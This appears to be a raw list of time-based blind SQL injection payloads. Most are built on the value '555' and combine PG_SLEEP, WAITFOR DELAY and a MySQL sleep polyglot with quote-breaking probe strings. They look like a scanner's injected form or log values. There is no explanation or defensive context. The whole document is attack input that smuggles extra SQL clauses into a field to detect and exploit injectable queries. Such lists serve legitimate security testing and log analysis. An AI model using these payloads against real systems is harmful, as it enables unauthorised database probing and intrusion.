555-1)) OR 984=(SELECT 984 FROM PG_SLEEP(15))--

555-1) OR 126=(SELECT 126 FROM PG_SLEEP(15))--

555-1 OR 688=(SELECT 688 FROM PG_SLEEP(15))--

555laVv3p8j′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/